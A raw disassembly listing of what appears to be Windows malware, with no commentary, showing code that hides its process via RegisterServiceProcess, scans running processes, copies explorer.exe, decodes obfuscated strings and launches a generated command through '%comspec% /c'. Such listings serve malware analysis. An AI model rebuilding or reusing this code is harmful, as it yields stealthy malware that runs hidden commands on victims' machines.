		jz	short loc_40D017
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40CFCA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D017
		cmp	al, 2Eh
		jz	short loc_40D017


loc_40CFCA:				; CODE XREF: sub_40CF60+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_443684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_402257
		add	esp, 2Ch
		mov	ebp, eax


loc_40D017:				; CODE XREF: sub_40CF60+55j
					; sub_40CF60+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_40CFB0


loc_40D027:				; CODE XREF: sub_40CF60+4Ej
		push	ebx
		call	near ptr 285066Eh
		nop
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_443684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		call	near ptr 2870000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D0BB


loc_40D068:				; CODE XREF: sub_40CF60+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_401523
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_40D068


loc_40D0BB:				; CODE XREF: sub_40CF60+106j
		push	ebx
		nop
		call	near ptr 285066Eh
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40CF60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D130	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D130
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40D130	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D2E0:				; CODE XREF: ___:004013CAj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		call	near ptr 2880BF0h
		nop
		push	eax
		nop
		call	near ptr 2880000h
		mov	eax, dword_4470B0
		test	eax, eax
		jz	loc_40D403
		mov	ecx, dword_4470AC
		test	ecx, ecx
		jz	loc_40D403
		mov	ecx, dword_446F78
		test	ecx, ecx
		jz	loc_40D403
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_4470A8, eax
		jz	loc_40D403
		push	ebp
		push	offset dword_446F80
		push	eax
		xor	ebp, ebp
		mov	dword_446F80, 128h
		call	dword_4470AC	; Process32First
		test	eax, eax
		jz	loc_40D3EC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_50FAD4
		push	edi


loc_40D36D:				; CODE XREF: ___:0040D3E7j
		mov	edi, offset dword_446FA4
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_446FA4
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_446FA4
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D3D3
		mov	edi, offset dword_446FA4
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_446FA4
		mov	ecx, ebx
		call	sub_401681
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D3D4


loc_40D3D3:				; CODE XREF: ___:0040D3ABj
		inc	ebp


loc_40D3D4:				; CODE XREF: ___:0040D3D1j
		mov	eax, dword_4470A8
		push	offset dword_446F80
		push	eax
		call	dword_446F78	; Process32Next
		test	eax, eax
		jnz	short loc_40D36D
		pop	edi
		pop	esi
		pop	ebx


loc_40D3EC:				; CODE XREF: ___:0040D357j
		mov	ecx, dword_4470A8
		push	ecx
		nop
		call	near ptr 2830BD8h
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D403:				; CODE XREF: ___:0040D306j
					; ___:0040D314j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D460:				; CODE XREF: ___:00401F91j
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		call	near ptr 2890DF1h
		nop
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_50F8E8
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 28907DDh
		mov	ebx, dword_50F8D8
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 2890000h
		push	esi
		call	ebx


loc_40D526:				; CODE XREF: ___:0040D4C9j
					; ___:0040D50Bj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D580	proc near		; CODE XREF: sub_401B59j

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27E0AE7h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015D7
		lea	ecx, [esp+1A8h+var_184]
		call	sub_401424
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C5D
		push	eax
		push	0
		call	near ptr 2880BF0h
		nop
		push	eax
		call	near ptr 2880000h
		nop
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	near ptr 27D0A0Ch
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D671
		mov	edi, dword_50F8A0
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_4470B4, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_4470B0, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_4470AC, eax
		call	edi
		mov	dword_446F78, eax
		mov	eax, dword_4470B4
		test	eax, eax
		jz	short loc_40D671
		push	ebx
		push	0
		call	eax


loc_40D671:				; CODE XREF: sub_40D580+A7j
					; sub_40D580+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402117
		test	eax, eax
		jnz	short loc_40D6A8
		mov	al, byte_44719F
		test	al, al
		jz	short loc_40D6A8
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D6A8:				; CODE XREF: sub_40D580+10Dj
					; sub_40D580+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019B5
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_40D580	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h
		dd 8D50FFFFh, 0A8248Ch,	38680000h, 5100443Bh, 1E0934E8h
		dd 3D8B9000h, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
		dd 4229BBE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h
		dd 85D6FF50h, 0A0D074C0h, 4477FBh, 74C0845Dh, 0CC358B39h
		dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B30h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3EA0h,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 0E8900000h,	23E266Ch, 874C085h, 0E890006Ah
		dd 7782C4DEh, 24244C8Dh, 0A42484C6h, 1,	0FF3875E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3861E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB10	proc near		; CODE XREF: sub_401195j
		mov	al, byte_4471A1
		test	al, al
		jz	short loc_40DB24
		push	offset word_4471A2
		nop
		call	near ptr 27E095Dh


loc_40DB24:				; CODE XREF: sub_40DB10+7j
		mov	al, 1
		retn
sub_40DB10	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB40	proc near		; CODE XREF: sub_401E5Bj

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DB40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2880BF0h
		push	eax
		nop
		call	near ptr 2880000h
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		call	near ptr 27C0000h
		nop
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017E4
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_443684
		push	ecx
		nop
		call	sub_5EE1E5
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		nop
		call	near ptr 28503A0h
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E0A1
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_401424
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019B5
		add	esp, 18h
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+708h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+710h+var_4], 2
		call	sub_4019B5
		add	esp, 30h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019B5
		add	esp, 18h
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+714h+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+71Ch+var_4], 4
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019B5
		add	esp, 1Ch
		mov	[esp+6E0h+var_6C8], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+708h+var_5D4]
		push	7
		push	edx
		mov	byte ptr [esp+710h+var_4], 6
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+714h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+71Ch+var_4], 8
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		mov	byte ptr [esp+734h+var_4], 9
		push	18h
		push	5
		push	4Eh
		push	14h
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 7Ch
		mov	[esp+6E0h+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+6F8h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+700h+var_4], 0Ah
		call	sub_4019B5
		add	esp, 20h
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019B5
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		lea	edx, [esp+710h+var_6AC]
		push	edx
		call	sub_40102D
		add	esp, 34h
		lea	ecx, [esp+6E0h+var_64C]
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017E4
		push	eax
		push	esi
		nop
		call	near ptr 27D0000h
		push	esi
		nop
		call	near ptr 2830BD8h
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		nop
		call	near ptr 2880BF0h
		push	eax
		nop
		call	near ptr 2880000h
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		call	sub_5EE1E5
		nop
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		lea	eax, [esp+6FCh+var_110]
		push	0
		push	eax
		push	0
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E0A1:				; CODE XREF: sub_40DB40+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DB40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E220	proc near		; CODE XREF: sub_401726j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_401424
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
